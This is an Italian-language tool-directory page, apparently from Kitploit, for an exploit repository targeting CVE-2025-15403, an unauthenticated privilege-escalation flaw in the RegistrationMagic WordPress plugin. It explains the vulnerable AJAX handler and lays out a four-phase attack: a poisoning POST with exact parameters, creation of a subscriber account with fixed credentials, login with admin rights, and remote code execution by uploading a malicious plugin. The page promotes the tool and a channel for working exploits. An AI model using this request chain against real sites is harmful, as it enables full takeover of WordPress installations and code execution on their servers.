Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-15403 — RegistrationMagic <= 6.0.7.1 - Escalation dei privilegi non autenticata tramite admin_order | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2025-15403
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingRed TeamingSviluppo Payload
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Escalation dei privilegi non autenticata tramite admin_order

Vedi Repository
1116 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Escalation dei Privilegi non Autenticata tramite admin_order

 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 Le informazioni arrivano qui per prime. Segui @KNxploited su Telegram — divulgazioni CVE di precisione, exploit funzionanti e ricerca approfondita sulle vulnerabilità. Il canale per chi non aspetta le notizie — le crea.


🧠 Panoramica

CVE-2025-15403 è una vulnerabilità di Escalation dei Privilegi CVSS 9.8 Critica nel plugin RegistrationMagic per WordPress.

Il difetto risiede nella funzione add_menu del plugin, esposta senza autenticazione tramite l'azione AJAX rm_user_exists. Iniettando uno slug vuoto nel parametro order insieme al flag enable_admin_order=yes, un attaccante manipola la logica interna di generazione del menu del plugin. Quando il menu di amministrazione viene successivamente costruito, il plugin chiama silenziosamente add_cap('manage_options') sul ruolo target — elevando qualsiasi account di livello abbonato a piena capacità amministrativa.

CampoDettagli
CVE IDCVE-2025-15403
PluginRegistrationMagic
Slugregistrationmagic / custom-registration-form-builder-with-submission-manager
Versioni AffetteTutte le versioni fino alla 6.0.7.1 inclusa
Tipo di vulnerabilitàEscalation dei Privilegi non Autenticata
Requisito dell'attaccoFase AJAX: Nessuna. Sfruttamento: Account Abbonato
Vettore d'attaccoRete
Punteggio CVSS 3.19.8 CRITICAL
Vettore CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
ImpattoAcquisizione Completa dell'Amministratore WordPress
RicercatoreNxploited

💀 Analisi Approfondita della Vulnerabilità

La causa principale è che la funzione add_menu è raggiungibile senza autenticazione tramite rm_user_exists, combinata con l'assenza di validazione dello slug admin_order:

// Registrata senza controllo di capacità
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← Controllato dall'utente, NON sanitizzato
    $role_key = /* derivato da POST */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // Memorizza l'order controllato dall'attaccante nelle opzioni del plugin
        update_option('rm_admin_order', $order);  // es. ",menu1" → primo slug vuoto
    }
}

// Successivamente, quando viene costruito il menu admin...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← Avvelenato dall'attaccante
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // Slug vuoto attiva la concessione incondizionata di capacità
            $role->add_cap('manage_options');  // ← CAPACITÀ ADMIN COMPLETA AGGIUNTA
        }
    }
}

Perché è critico:

  • wp_ajax_nopriv_* = zero autenticazione necessaria per avvelenare l'opzione
  • Lo slug vuoto in order=,menu1 supera il controllo empty(), attivando add_cap('manage_options')
  • manage_options è la capacità più alta di WordPress — equivalente ad Amministratore
  • Qualsiasi account abbonato esistente ottiene immediatamente diritti di amministratore al successivo caricamento del menu admin
  • La fase AJAX non richiede autenticazione preventiva — rendendo l'intera catena a barriera quasi zero

⚔️ Catena di Sfruttamento

╔══════════════════════════════════════════════════════════════════════════╗
║  FASE 1 — Avvelenamento dell'Opzione non Autenticato                     ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← primo elemento vuoto = slug vuoto
  _Subscriber       = 1                  ← chiave ruolo target
  restore           = false
  enable_admin_order= yes

Risposta: HTTP 200 (qualsiasi risposta non bloccata = opzione avvelenata)

  ↓ Il plugin memorizza order=",menu1" in wp_options
  ↓ Al successivo caricamento del menu admin, add_cap('manage_options') viene attivato sul ruolo Abbonato

╔══════════════════════════════════════════════════════════════════════════╗
║  FASE 2 — Acquisizione dell'Account (Abbonato)                           ║
╚══════════════════════════════════════════════════════════════════════════╝

Opzione A — Registrati tramite il form di registrazione del sito (Modalità 0):
  GET  /wp-login.php?action=register  → rilevamento intelligente del form
  POST → crea account abbonato
  Credenziali: NXploited / xplpass123

Opzione B — Usa un account abbonato esistente.

╔══════════════════════════════════════════════════════════════════════════╗
║  FASE 3 — Login + Raccolta delle Capacità                                ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
L'account Abbonato ora possiede manage_options → pannello admin completamente accessibile

╔══════════════════════════════════════════════════════════════════════════╗
║  FASE 4 — Verifica Approfondita e RCE tramite Caricamento Plugin        ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → Dashboard admin accessibile ✔️
GET  /wp-admin/plugin-install.php        → Pagina installazione plugin accessibile ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → Plugin caricato ed eseguito ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     La risposta contiene "Nxploited"    → RCE CONFERMATO ✔️

🎯 Modalità Operative

Questa suite di exploit fornisce tre modalità distinte per coprire l'intero ciclo di vita dell'attacco:

Scarica lo strumento